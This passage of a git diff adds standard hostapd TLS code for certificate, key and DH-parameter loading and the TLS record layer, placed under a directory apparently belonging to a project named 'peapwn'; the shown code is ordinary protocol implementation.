RFC 5246 */ +#define TLS_DH_anon_WITH_AES_128_CBC_SHA256 0x006C /* RFC 5246 */ +#define TLS_DH_anon_WITH_AES_256_CBC_SHA256 0x006D /* RFC 5246 */ + +/* CompressionMethod */ +#define TLS_COMPRESSION_NULL 0 + +/* HashAlgorithm */ +enum { + TLS_HASH_ALG_NONE = 0, + TLS_HASH_ALG_MD5 = 1, + TLS_HASH_ALG_SHA1 = 2, + TLS_HASH_ALG_SHA224 = 3, + TLS_HASH_ALG_SHA256 = 4, + TLS_HASH_ALG_SHA384 = 5, + TLS_HASH_ALG_SHA512 = 6 +}; + +/* SignatureAlgorithm */ +enum { + TLS_SIGN_ALG_ANONYMOUS = 0, + TLS_SIGN_ALG_RSA = 1, + TLS_SIGN_ALG_DSA = 2, + TLS_SIGN_ALG_ECDSA = 3, +}; + +/* AlertLevel */ +#define TLS_ALERT_LEVEL_WARNING 1 +#define TLS_ALERT_LEVEL_FATAL 2 + +/* AlertDescription */ +#define TLS_ALERT_CLOSE_NOTIFY 0 +#define TLS_ALERT_UNEXPECTED_MESSAGE 10 +#define TLS_ALERT_BAD_RECORD_MAC 20 +#define TLS_ALERT_DECRYPTION_FAILED 21 +#define TLS_ALERT_RECORD_OVERFLOW 22 +#define TLS_ALERT_DECOMPRESSION_FAILURE 30 +#define TLS_ALERT_HANDSHAKE_FAILURE 40 +#define TLS_ALERT_BAD_CERTIFICATE 42 +#define TLS_ALERT_UNSUPPORTED_CERTIFICATE 43 +#define TLS_ALERT_CERTIFICATE_REVOKED 44 +#define TLS_ALERT_CERTIFICATE_EXPIRED 45 +#define TLS_ALERT_CERTIFICATE_UNKNOWN 46 +#define TLS_ALERT_ILLEGAL_PARAMETER 47 +#define TLS_ALERT_UNKNOWN_CA 48 +#define TLS_ALERT_ACCESS_DENIED 49 +#define TLS_ALERT_DECODE_ERROR 50 +#define TLS_ALERT_DECRYPT_ERROR 51 +#define TLS_ALERT_EXPORT_RESTRICTION 60 +#define TLS_ALERT_PROTOCOL_VERSION 70 +#define TLS_ALERT_INSUFFICIENT_SECURITY 71 +#define TLS_ALERT_INTERNAL_ERROR 80 +#define TLS_ALERT_USER_CANCELED 90 +#define TLS_ALERT_NO_RENEGOTIATION 100 +#define TLS_ALERT_UNSUPPORTED_EXTENSION 110 /* RFC 4366 */ +#define TLS_ALERT_CERTIFICATE_UNOBTAINABLE 111 /* RFC 4366 */ +#define TLS_ALERT_UNRECOGNIZED_NAME 112 /* RFC 4366 */ +#define TLS_ALERT_BAD_CERTIFICATE_STATUS_RESPONSE 113 /* RFC 4366 */ +#define TLS_ALERT_BAD_CERTIFICATE_HASH_VALUE 114 /* RFC 4366 */ + +/* ChangeCipherSpec */ +enum { + TLS_CHANGE_CIPHER_SPEC = 1 +}; + +/* TLS Extensions */ +#define TLS_EXT_SERVER_NAME 0 /* RFC 4366 */ +#define TLS_EXT_MAX_FRAGMENT_LENGTH 1 /* RFC 4366 */ +#define TLS_EXT_CLIENT_CERTIFICATE_URL 2 /* RFC 4366 */ +#define TLS_EXT_TRUSTED_CA_KEYS 3 /* RFC 4366 */ +#define TLS_EXT_TRUNCATED_HMAC 4 /* RFC 4366 */ +#define TLS_EXT_STATUS_REQUEST 5 /* RFC 4366 */ +#define TLS_EXT_SESSION_TICKET 35 /* RFC 4507 */ + +#define TLS_EXT_PAC_OPAQUE TLS_EXT_SESSION_TICKET /* EAP-FAST terminology */ + + +typedef enum { + TLS_KEY_X_NULL, + TLS_KEY_X_RSA, + TLS_KEY_X_RSA_EXPORT, + TLS_KEY_X_DH_DSS_EXPORT, + TLS_KEY_X_DH_DSS, + TLS_KEY_X_DH_RSA_EXPORT, + TLS_KEY_X_DH_RSA, + TLS_KEY_X_DHE_DSS_EXPORT, + TLS_KEY_X_DHE_DSS, + TLS_KEY_X_DHE_RSA_EXPORT, + TLS_KEY_X_DHE_RSA, + TLS_KEY_X_DH_anon_EXPORT, + TLS_KEY_X_DH_anon +} tls_key_exchange; + +typedef enum { + TLS_CIPHER_NULL, + TLS_CIPHER_RC4_40, + TLS_CIPHER_RC4_128, + TLS_CIPHER_RC2_CBC_40, + TLS_CIPHER_IDEA_CBC, + TLS_CIPHER_DES40_CBC, + TLS_CIPHER_DES_CBC, + TLS_CIPHER_3DES_EDE_CBC, + TLS_CIPHER_AES_128_CBC, + TLS_CIPHER_AES_256_CBC +} tls_cipher; + +typedef enum { + TLS_HASH_NULL, + TLS_HASH_MD5, + TLS_HASH_SHA, + TLS_HASH_SHA256 +} tls_hash; + +struct tls_cipher_suite { + u16 suite; + tls_key_exchange key_exchange; + tls_cipher cipher; + tls_hash hash; +}; + +typedef enum { + TLS_CIPHER_STREAM, + TLS_CIPHER_BLOCK +} tls_cipher_type; + +struct tls_cipher_data { + tls_cipher cipher; + tls_cipher_type type; + size_t key_material; + size_t expanded_key_material; + size_t block_size; /* also iv_size */ + enum crypto_cipher_alg alg; +}; + + +struct tls_verify_hash { + struct crypto_hash *md5_client; + struct crypto_hash *sha1_client; + struct crypto_hash *sha256_client; + struct crypto_hash *md5_server; + struct crypto_hash *sha1_server; + struct crypto_hash *sha256_server; + struct crypto_hash *md5_cert; + struct crypto_hash *sha1_cert; + struct crypto_hash *sha256_cert; +}; + + +const struct tls_cipher_suite * tls_get_cipher_suite(u16 suite); +const struct tls_cipher_data * tls_get_cipher_data(tls_cipher cipher); +int tls_server_key_exchange_allowed(tls_cipher cipher); +int tls_parse_cert(const u8 *buf, size_t len, struct crypto_public_key **pk); +int tls_verify_hash_init(struct tls_verify_hash *verify); +void tls_verify_hash_add(struct tls_verify_hash *verify, const u8 *buf, + size_t len); +void tls_verify_hash_free(struct tls_verify_hash *verify); +int tls_version_ok(u16 ver); +const char * tls_version_str(u16 ver); +int tls_prf(u16 ver, const u8 *secret, size_t secret_len, const char *label, + const u8 *seed, size_t seed_len, u8 *out, size_t outlen); + +#endif /* TLSV1_COMMON_H */ diff --git a/peapwn/mods/hostap/src/tls/tlsv1_cred.c b/peapwn/mods/hostap/src/tls/tlsv1_cred.c new file mode 100644 index 000000000..1ea6827b8 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_cred.c @@ -0,0 +1,506 @@ +/* + * TLSv1 credentials + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "base64.h" +#include "crypto/crypto.h" +#include "x509v3.h" +#include "tlsv1_cred.h" + + +struct tlsv1_credentials * tlsv1_cred_alloc(void) +{ + struct tlsv1_credentials *cred; + cred = os_zalloc(sizeof(*cred)); + return cred; +} + + +void tlsv1_cred_free(struct tlsv1_credentials *cred) +{ + if (cred == NULL) + return; + + x509_certificate_chain_free(cred->trusted_certs); + x509_certificate_chain_free(cred->cert); + crypto_private_key_free(cred->key); + os_free(cred->dh_p); + os_free(cred->dh_g); + os_free(cred); +} + + +static int tlsv1_add_cert_der(struct x509_certificate **chain, + const u8 *buf, size_t len) +{ + struct x509_certificate *cert, *p; + char name[128]; + + cert = x509_certificate_parse(buf, len); + if (cert == NULL) { + wpa_printf(MSG_INFO, "TLSv1: %s - failed to parse certificate", + __func__); + return -1; + } + + p = *chain; + while (p && p->next) + p = p->next; + if (p && x509_name_compare(&cert->subject, &p->issuer) == 0) { + /* + * The new certificate is the issuer of the last certificate in + * the chain - add the new certificate to the end. + */ + p->next = cert; + } else { + /* Add to the beginning of the chain */ + cert->next = *chain; + *chain = cert; + } + + x509_name_string(&cert->subject, name, sizeof(name)); + wpa_printf(MSG_DEBUG, "TLSv1: Added certificate: %s", name); + + return 0; +} + + +static const char *pem_cert_begin = "-----BEGIN CERTIFICATE-----"; +static const char *pem_cert_end = "-----END CERTIFICATE-----"; +static const char *pem_key_begin = "-----BEGIN RSA PRIVATE KEY-----"; +static const char *pem_key_end = "-----END RSA PRIVATE KEY-----"; +static const char *pem_key2_begin = "-----BEGIN PRIVATE KEY-----"; +static const char *pem_key2_end = "-----END PRIVATE KEY-----"; +static const char *pem_key_enc_begin = "-----BEGIN ENCRYPTED PRIVATE KEY-----"; +static const char *pem_key_enc_end = "-----END ENCRYPTED PRIVATE KEY-----"; + + +static const u8 * search_tag(const char *tag, const u8 *buf, size_t len) +{ + size_t i, plen; + + plen = os_strlen(tag); + if (len < plen) + return NULL; + + for (i = 0; i < len - plen; i++) { + if (os_memcmp(buf + i, tag, plen) == 0) + return buf + i; + } + + return NULL; +} + + +static int tlsv1_add_cert(struct x509_certificate **chain, + const u8 *buf, size_t len) +{ + const u8 *pos, *end; + unsigned char *der; + size_t der_len; + + pos = search_tag(pem_cert_begin, buf, len); + if (!pos) { + wpa_printf(MSG_DEBUG, "TLSv1: No PEM certificate tag found - " + "assume DER format"); + return tlsv1_add_cert_der(chain, buf, len); + } + + wpa_printf(MSG_DEBUG, "TLSv1: Converting PEM format certificate into " + "DER format"); + + while (pos) { + pos += os_strlen(pem_cert_begin); + end = search_tag(pem_cert_end, pos, buf + len - pos); + if (end == NULL) { + wpa_printf(MSG_INFO, "TLSv1: Could not find PEM " + "certificate end tag (%s)", pem_cert_end); + return -1; + } + + der = base64_decode(pos, end - pos, &der_len); + if (der == NULL) { + wpa_printf(MSG_INFO, "TLSv1: Could not decode PEM " + "certificate"); + return -1; + } + + if (tlsv1_add_cert_der(chain, der, der_len) < 0) { + wpa_printf(MSG_INFO, "TLSv1: Failed to parse PEM " + "certificate after DER conversion"); + os_free(der); + return -1; + } + + os_free(der); + + end += os_strlen(pem_cert_end); + pos = search_tag(pem_cert_begin, end, buf + len - end); + } + + return 0; +} + + +static int tlsv1_set_cert_chain(struct x509_certificate **chain, + const char *cert, const u8 *cert_blob, + size_t cert_blob_len) +{ + if (cert_blob) + return tlsv1_add_cert(chain, cert_blob, cert_blob_len); + + if (cert) { + u8 *buf; + size_t len; + int ret; + + buf = (u8 *) os_readfile(cert, &len); + if (buf == NULL) { + wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'", + cert); + return -1; + } + + ret = tlsv1_add_cert(chain, buf, len); + os_free(buf); + return ret; + } + + return 0; +} + + +/** + * tlsv1_set_ca_cert - Set trusted CA certificate(s) + * @cred: TLSv1 credentials from tlsv1_cred_alloc() + * @cert: File or reference name for X.509 certificate in PEM or DER format + * @cert_blob: cert as inlined data or %NULL if not used + * @cert_blob_len: ca_cert_blob length + * @path: Path to CA certificates (not yet supported) + * Returns: 0 on success, -1 on failure + */ +int tlsv1_set_ca_cert(struct tlsv1_credentials *cred, const char *cert, + const u8 *cert_blob, size_t cert_blob_len, + const char *path) +{ + if (tlsv1_set_cert_chain(&cred->trusted_certs, cert, + cert_blob, cert_blob_len) < 0) + return -1; + + if (path) { + /* TODO: add support for reading number of certificate files */ + wpa_printf(MSG_INFO, "TLSv1: Use of CA certificate directory " + "not yet supported"); + return -1; + } + + return 0; +} + + +/** + * tlsv1_set_cert - Set certificate + * @cred: TLSv1 credentials from tlsv1_cred_alloc() + * @cert: File or reference name for X.509 certificate in PEM or DER format + * @cert_blob: cert as inlined data or %NULL if not used + * @cert_blob_len: cert_blob length + * Returns: 0 on success, -1 on failure + */ +int tlsv1_set_cert(struct tlsv1_credentials *cred, const char *cert, + const u8 *cert_blob, size_t cert_blob_len) +{ + return tlsv1_set_cert_chain(&cred->cert, cert, + cert_blob, cert_blob_len); +} + + +static struct crypto_private_key * tlsv1_set_key_pem(const u8 *key, size_t len) +{ + const u8 *pos, *end; + unsigned char *der; + size_t der_len; + struct crypto_private_key *pkey; + + pos = search_tag(pem_key_begin, key, len); + if (!pos) { + pos = search_tag(pem_key2_begin, key, len); + if (!pos) + return NULL; + pos += os_strlen(pem_key2_begin); + end = search_tag(pem_key2_end, pos, key + len - pos); + if (!end) + return NULL; + } else { + const u8 *pos2; + pos += os_strlen(pem_key_begin); + end = search_tag(pem_key_end, pos, key + len - pos); + if (!end) + return NULL; + pos2 = search_tag("Proc-Type: 4,ENCRYPTED", pos, end - pos); + if (pos2) { + wpa_printf(MSG_DEBUG, "TLSv1: Unsupported private key " + "format (Proc-Type/DEK-Info)"); + return NULL; + } + } + + der = base64_decode(pos, end - pos, &der_len); + if (!der) + return NULL; + pkey = crypto_private_key_import(der, der_len, NULL); + os_free(der); + return pkey; +} + + +static struct crypto_private_key * tlsv1_set_key_enc_pem(const u8 *key, + size_t len, + const char *passwd) +{ + const u8 *pos, *end; + unsigned char *der; + size_t der_len; + struct crypto_private_key *pkey; + + if (passwd == NULL) + return NULL; + pos = search_tag(pem_key_enc_begin, key, len); + if (!pos) + return NULL; + pos += os_strlen(pem_key_enc_begin); + end = search_tag(pem_key_enc_end, pos, key + len - pos); + if (!end) + return NULL; + + der = base64_decode(pos, end - pos, &der_len); + if (!der) + return NULL; + pkey = crypto_private_key_import(der, der_len, passwd); + os_free(der); + return pkey; +} + + +static int tlsv1_set_key(struct tlsv1_credentials *cred, + const u8 *key, size_t len, const char *passwd) +{ + cred->key = crypto_private_key_import(key, len, passwd); + if (cred->key == NULL) + cred->key = tlsv1_set_key_pem(key, len); + if (cred->key == NULL) + cred->key = tlsv1_set_key_enc_pem(key, len, passwd); + if (cred->key == NULL) { + wpa_printf(MSG_INFO, "TLSv1: Failed to parse private key"); + return -1; + } + return 0; +} + + +/** + * tlsv1_set_private_key - Set private key + * @cred: TLSv1 credentials from tlsv1_cred_alloc() + * @private_key: File or reference name for the key in PEM or DER format + * @private_key_passwd: Passphrase for decrypted private key, %NULL if no + * passphrase is used. + * @private_key_blob: private_key as inlined data or %NULL if not used + * @private_key_blob_len: private_key_blob length + * Returns: 0 on success, -1 on failure + */ +int tlsv1_set_private_key(struct tlsv1_credentials *cred, + const char *private_key, + const char *private_key_passwd, + const u8 *private_key_blob, + size_t private_key_blob_len) +{ + crypto_private_key_free(cred->key); + cred->key = NULL; + + if (private_key_blob) + return tlsv1_set_key(cred, private_key_blob, + private_key_blob_len, + private_key_passwd); + + if (private_key) { + u8 *buf; + size_t len; + int ret; + + buf = (u8 *) os_readfile(private_key, &len); + if (buf == NULL) { + wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'", + private_key); + return -1; + } + + ret = tlsv1_set_key(cred, buf, len, private_key_passwd); + os_free(buf); + return ret; + } + + return 0; +} + + +static int tlsv1_set_dhparams_der(struct tlsv1_credentials *cred, + const u8 *dh, size_t len) +{ + struct asn1_hdr hdr; + const u8 *pos, *end; + + pos = dh; + end = dh + len; + + /* + * DHParameter ::= SEQUENCE { + * prime INTEGER, -- p + * base INTEGER, -- g + * privateValueLength INTEGER OPTIONAL } + */ + + /* DHParamer ::= SEQUENCE */ + if (asn1_get_next(pos, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "DH: DH parameters did not start with a " + "valid SEQUENCE - found class %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + pos = hdr.payload; + + /* prime INTEGER */ + if (asn1_get_next(pos, end - pos, &hdr) < 0) + return -1; + + if (hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_INTEGER) { + wpa_printf(MSG_DEBUG, "DH: No INTEGER tag found for p; " + "class=%d tag=0x%x", hdr.class, hdr.tag); + return -1; + } + + wpa_hexdump(MSG_MSGDUMP, "DH: prime (p)", hdr.payload, hdr.length); + if (hdr.length == 0) + return -1; + os_free(cred->dh_p); + cred->dh_p = os_malloc(hdr.length); + if (cred->dh_p == NULL) + return -1; + os_memcpy(cred->dh_p, hdr.payload, hdr.length); + cred->dh_p_len = hdr.length; + pos = hdr.payload + hdr.length; + + /* base INTEGER */ + if (asn1_get_next(pos, end - pos, &hdr) < 0) + return -1; + + if (hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_INTEGER) { + wpa_printf(MSG_DEBUG, "DH: No INTEGER tag found for g; " + "class=%d tag=0x%x", hdr.class, hdr.tag); + return -1; + } + + wpa_hexdump(MSG_MSGDUMP, "DH: base (g)", hdr.payload, hdr.length); + if (hdr.length == 0) + return -1; + os_free(cred->dh_g); + cred->dh_g = os_malloc(hdr.length); + if (cred->dh_g == NULL) + return -1; + os_memcpy(cred->dh_g, hdr.payload, hdr.length); + cred->dh_g_len = hdr.length; + + return 0; +} + + +static const char *pem_dhparams_begin = "-----BEGIN DH PARAMETERS-----"; +static const char *pem_dhparams_end = "-----END DH PARAMETERS-----"; + + +static int tlsv1_set_dhparams_blob(struct tlsv1_credentials *cred, + const u8 *buf, size_t len) +{ + const u8 *pos, *end; + unsigned char *der; + size_t der_len; + + pos = search_tag(pem_dhparams_begin, buf, len); + if (!pos) { + wpa_printf(MSG_DEBUG, "TLSv1: No PEM dhparams tag found - " + "assume DER format"); + return tlsv1_set_dhparams_der(cred, buf, len); + } + + wpa_printf(MSG_DEBUG, "TLSv1: Converting PEM format dhparams into DER " + "format"); + + pos += os_strlen(pem_dhparams_begin); + end = search_tag(pem_dhparams_end, pos, buf + len - pos); + if (end == NULL) { + wpa_printf(MSG_INFO, "TLSv1: Could not find PEM dhparams end " + "tag (%s)", pem_dhparams_end); + return -1; + } + + der = base64_decode(pos, end - pos, &der_len); + if (der == NULL) { + wpa_printf(MSG_INFO, "TLSv1: Could not decode PEM dhparams"); + return -1; + } + + if (tlsv1_set_dhparams_der(cred, der, der_len) < 0) { + wpa_printf(MSG_INFO, "TLSv1: Failed to parse PEM dhparams " + "DER conversion"); + os_free(der); + return -1; + } + + os_free(der); + + return 0; +} + + +/** + * tlsv1_set_dhparams - Set Diffie-Hellman parameters + * @cred: TLSv1 credentials from tlsv1_cred_alloc() + * @dh_file: File or reference name for the DH params in PEM or DER format + * @dh_blob: DH params as inlined data or %NULL if not used + * @dh_blob_len: dh_blob length + * Returns: 0 on success, -1 on failure + */ +int tlsv1_set_dhparams(struct tlsv1_credentials *cred, const char *dh_file, + const u8 *dh_blob, size_t dh_blob_len) +{ + if (dh_blob) + return tlsv1_set_dhparams_blob(cred, dh_blob, dh_blob_len); + + if (dh_file) { + u8 *buf; + size_t len; + int ret; + + buf = (u8 *) os_readfile(dh_file, &len); + if (buf == NULL) { + wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'", + dh_file); + return -1; + } + + ret = tlsv1_set_dhparams_blob(cred, buf, len); + os_free(buf); + return ret; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/tls/tlsv1_cred.h b/peapwn/mods/hostap/src/tls/tlsv1_cred.h new file mode 100644 index 000000000..68fbdc923 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_cred.h @@ -0,0 +1,40 @@ +/* + * TLSv1 credentials + * Copyright (c) 2006-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef TLSV1_CRED_H +#define TLSV1_CRED_H + +struct tlsv1_credentials { + struct x509_certificate *trusted_certs; + struct x509_certificate *cert; + struct crypto_private_key *key; + + /* Diffie-Hellman parameters */ + u8 *dh_p; /* prime */ + size_t dh_p_len; + u8 *dh_g; /* generator */ + size_t dh_g_len; +}; + + +struct tlsv1_credentials * tlsv1_cred_alloc(void); +void tlsv1_cred_free(struct tlsv1_credentials *cred); +int tlsv1_set_ca_cert(struct tlsv1_credentials *cred, const char *cert, + const u8 *cert_blob, size_t cert_blob_len, + const char *path); +int tlsv1_set_cert(struct tlsv1_credentials *cred, const char *cert, + const u8 *cert_blob, size_t cert_blob_len); +int tlsv1_set_private_key(struct tlsv1_credentials *cred, + const char *private_key, + const char *private_key_passwd, + const u8 *private_key_blob, + size_t private_key_blob_len); +int tlsv1_set_dhparams(struct tlsv1_credentials *cred, const char *dh_file, + const u8 *dh_blob, size_t dh_blob_len); + +#endif /* TLSV1_CRED_H */ diff --git a/peapwn/mods/hostap/src/tls/tlsv1_record.c b/peapwn/mods/hostap/src/tls/tlsv1_record.c new file mode 100644 index 000000000..3bec3be36 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_record.c @@ -0,0 +1,485 @@ +/* + * TLSv1 Record Protocol + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/md5.h" +#include "crypto/sha1.h" +#include "crypto/sha256.h" +#include "tlsv1_common.h" +#include "tlsv1_record.h" + + +/** + * tlsv1_record_set_cipher_suite - TLS record layer: Set cipher suite + * @rl: Pointer to TLS record layer data + * @cipher_suite: New cipher suite + * Returns: 0 on success, -1 on failure + * + * This function is used to prepare TLS record layer for cipher suite change. + * tlsv1_record_change_write_cipher() and + * tlsv1_record_change_read_cipher() functions can then be used to change the + * currently used ciphers. + */ +int tlsv1_record_set_cipher_suite(struct tlsv1_record_layer *rl, + u16 cipher_suite) +{ + const struct tls_cipher_suite *suite; + const struct tls_cipher_data *data; + + wpa_printf(MSG_DEBUG, "TLSv1: Selected cipher suite: 0x%04x", + cipher_suite); + rl->cipher_suite = cipher_suite; + + suite = tls_get_cipher_suite(cipher_suite); + if (suite == NULL) + return -1; + + if (suite->hash == TLS_HASH_MD5) { + rl->hash_alg = CRYPTO_HASH_ALG_HMAC_MD5; + rl->hash_size = MD5_MAC_LEN; + } else if (suite->hash == TLS_HASH_SHA) { + rl->hash_alg = CRYPTO_HASH_ALG_HMAC_SHA1; + rl->hash_size = SHA1_MAC_LEN; + } else if (suite->hash == TLS_HASH_SHA256) { + rl->hash_alg = CRYPTO_HASH_ALG_HMAC_SHA256; + rl->hash_size = SHA256_MAC_LEN; + } + + data = tls_get_cipher_data(suite->cipher); + if (data == NULL) + return -1; + + rl->key_material_len = data->key_material; + rl->iv_size = data->block_size; + rl->cipher_alg = data->alg; + + return 0; +} + + +/** + * tlsv1_record_change_write_cipher - TLS record layer: Change write cipher + * @rl: Pointer to TLS record layer data + * Returns: 0 on success (cipher changed), -1 on failure + * + * This function changes TLS record layer to use the new cipher suite + * configured with tlsv1_record_set_cipher_suite() for writing. + */ +int tlsv1_record_change_write_cipher(struct tlsv1_record_layer *rl) +{ + wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - New write cipher suite " + "0x%04x", rl->cipher_suite); + rl->write_cipher_suite = rl->cipher_suite; + os_memset(rl->write_seq_num, 0, TLS_SEQ_NUM_LEN); + + if (rl->write_cbc) { + crypto_cipher_deinit(rl->write_cbc); + rl->write_cbc = NULL; + } + if (rl->cipher_alg != CRYPTO_CIPHER_NULL) { + rl->write_cbc = crypto_cipher_init(rl->cipher_alg, + rl->write_iv, rl->write_key, + rl->key_material_len); + if (rl->write_cbc == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize " + "cipher"); + return -1; + } + } + + return 0; +} + + +/** + * tlsv1_record_change_read_cipher - TLS record layer: Change read cipher + * @rl: Pointer to TLS record layer data + * Returns: 0 on success (cipher changed), -1 on failure + * + * This function changes TLS record layer to use the new cipher suite + * configured with tlsv1_record_set_cipher_suite() for reading. + */ +int tlsv1_record_change_read_cipher(struct tlsv1_record_layer *rl) +{ + wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - New read cipher suite " + "0x%04x", rl->cipher_suite); + rl->read_cipher_suite = rl->cipher_suite; + os_memset(rl->read_seq_num, 0, TLS_SEQ_NUM_LEN); + + if (rl->read_cbc) { + crypto_cipher_deinit(rl->read_cbc); + rl->read_cbc = NULL; + } + if (rl->cipher_alg != CRYPTO_CIPHER_NULL) { + rl->read_cbc = crypto_cipher_init(rl->cipher_alg, + rl->read_iv, rl->read_key, + rl->key_material_len); + if (rl->read_cbc == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize " + "cipher"); + return -1; + } + } + + return 0; +} + + +/** + * tlsv1_record_send - TLS record layer: Send a message + * @rl: Pointer to TLS record layer data + * @content_type: Content type (TLS_CONTENT_TYPE_*) + * @buf: Buffer for the generated TLS message (needs to have extra space for + * header, IV (TLS v1.1), and HMAC) + * @buf_size: Maximum buf size + * @payload: Payload to be sent + * @payload_len: Length of the payload + * @out_len: Buffer for returning the used buf length + * Returns: 0 on success, -1 on failure + * + * This function fills in the TLS record layer header, adds HMAC, and encrypts + * the data using the current write cipher. + */ +int tlsv1_record_send(struct tlsv1_record_layer *rl, u8 content_type, u8 *buf, + size_t buf_size, const u8 *payload, size_t payload_len, + size_t *out_len) +{ + u8 *pos, *ct_start, *length, *cpayload; + struct crypto_hash *hmac; + size_t clen; + int explicit_iv; + + pos = buf; + if (pos + TLS_RECORD_HEADER_LEN > buf + buf_size) + return -1; + + /* ContentType type */ + ct_start = pos; + *pos++ = content_type; + /* ProtocolVersion version */ + WPA_PUT_BE16(pos, rl->tls_version); + pos += 2; + /* uint16 length */ + length = pos; + WPA_PUT_BE16(length, payload_len); + pos += 2; + + cpayload = pos; + explicit_iv = rl->write_cipher_suite != TLS_NULL_WITH_NULL_NULL && + rl->iv_size && rl->tls_version >= TLS_VERSION_1_1; + if (explicit_iv) { + /* opaque IV[Cipherspec.block_length] */ + if (pos + rl->iv_size > buf + buf_size) + return -1; + + /* + * Use random number R per the RFC 4346, 6.2.3.2 CBC Block + * Cipher option 2a. + */ + + if (os_get_random(pos, rl->iv_size)) + return -1; + pos += rl->iv_size; + } + + /* + * opaque fragment[TLSPlaintext.length] + * (opaque content[TLSCompressed.length] in GenericBlockCipher) + */ + if (pos + payload_len > buf + buf_size) + return -1; + os_memmove(pos, payload, payload_len); + pos += payload_len; + + if (rl->write_cipher_suite != TLS_NULL_WITH_NULL_NULL) { + /* + * MAC calculated over seq_num + TLSCompressed.type + + * TLSCompressed.version + TLSCompressed.length + + * TLSCompressed.fragment + */ + hmac = crypto_hash_init(rl->hash_alg, rl->write_mac_secret, + rl->hash_size); + if (hmac == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " + "to initialize HMAC"); + return -1; + } + crypto_hash_update(hmac, rl->write_seq_num, TLS_SEQ_NUM_LEN); + /* type + version + length + fragment */ + crypto_hash_update(hmac, ct_start, TLS_RECORD_HEADER_LEN); + crypto_hash_update(hmac, payload, payload_len); + clen = buf + buf_size - pos; + if (clen < rl->hash_size) { + wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Not " + "enough room for MAC"); + crypto_hash_finish(hmac, NULL, NULL); + return -1; + } + + if (crypto_hash_finish(hmac, pos, &clen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " + "to calculate HMAC"); + return -1; + } + wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Write HMAC", + pos, clen); + pos += clen; + if (rl->iv_size) { + size_t len = pos - cpayload; + size_t pad; + pad = (len + 1) % rl->iv_size; + if (pad) + pad = rl->iv_size - pad; + if (pos + pad + 1 > buf + buf_size) { + wpa_printf(MSG_DEBUG, "TLSv1: No room for " + "block cipher padding"); + return -1; + } + os_memset(pos, pad, pad + 1); + pos += pad + 1; + } + + if (crypto_cipher_encrypt(rl->write_cbc, cpayload, + cpayload, pos - cpayload) < 0) + return -1; + } + + WPA_PUT_BE16(length, pos - length - 2); + inc_byte_array(rl->write_seq_num, TLS_SEQ_NUM_LEN); + + *out_len = pos - buf; + + return 0; +} + + +/** + * tlsv1_record_receive - TLS record layer: Process a received message + * @rl: Pointer to TLS record layer data + * @in_data: Received data + * @in_len: Length of the received data + * @out_data: Buffer for output data (must be at least as long as in_data) + * @out_len: Set to maximum out_data length by caller; used to return the + * length of the used data + * @alert: Buffer for returning an alert value on failure + * Returns: Number of bytes used from in_data on success, 0 if record was not + * complete (more data needed), or -1 on failure + * + * This function decrypts the received message, verifies HMAC and TLS record + * layer header. + */ +int tlsv1_record_receive(struct tlsv1_record_layer *rl, + const u8 *in_data, size_t in_len, + u8 *out_data, size_t *out_len, u8 *alert) +{ + size_t i, rlen, hlen; + u8 padlen; + struct crypto_hash *hmac; + u8 len[2], hash[100]; + int force_mac_error = 0; + u8 ct; + + if (in_len < TLS_RECORD_HEADER_LEN) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short record (in_len=%lu) - " + "need more data", + (unsigned long) in_len); + wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Received", + in_data, in_len); + return 0; + } + + ct = in_data[0]; + rlen = WPA_GET_BE16(in_data + 3); + wpa_printf(MSG_DEBUG, "TLSv1: Received content type %d version %d.%d " + "length %d", ct, in_data[1], in_data[2], (int) rlen); + + /* + * TLS v1.0 and v1.1 RFCs were not exactly clear on the use of the + * protocol version in record layer. As such, accept any {03,xx} value + * to remain compatible with existing implementations. + */ + if (in_data[1] != 0x03) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version " + "%u.%u", in_data[1], in_data[2]); + *alert = TLS_ALERT_PROTOCOL_VERSION; + return -1; + } + + /* TLSCiphertext must not be more than 2^14+2048 bytes */ + if (TLS_RECORD_HEADER_LEN + rlen > 18432) { + wpa_printf(MSG_DEBUG, "TLSv1: Record overflow (len=%lu)", + (unsigned long) (TLS_RECORD_HEADER_LEN + rlen)); + *alert = TLS_ALERT_RECORD_OVERFLOW; + return -1; + } + + in_data += TLS_RECORD_HEADER_LEN; + in_len -= TLS_RECORD_HEADER_LEN; + + if (rlen > in_len) { + wpa_printf(MSG_DEBUG, "TLSv1: Not all record data included " + "(rlen=%lu > in_len=%lu)", + (unsigned long) rlen, (unsigned long) in_len); + return 0; + } + + wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Received", + in_data, rlen); + + if (ct != TLS_CONTENT_TYPE_HANDSHAKE && + ct != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC && + ct != TLS_CONTENT_TYPE_ALERT && + ct != 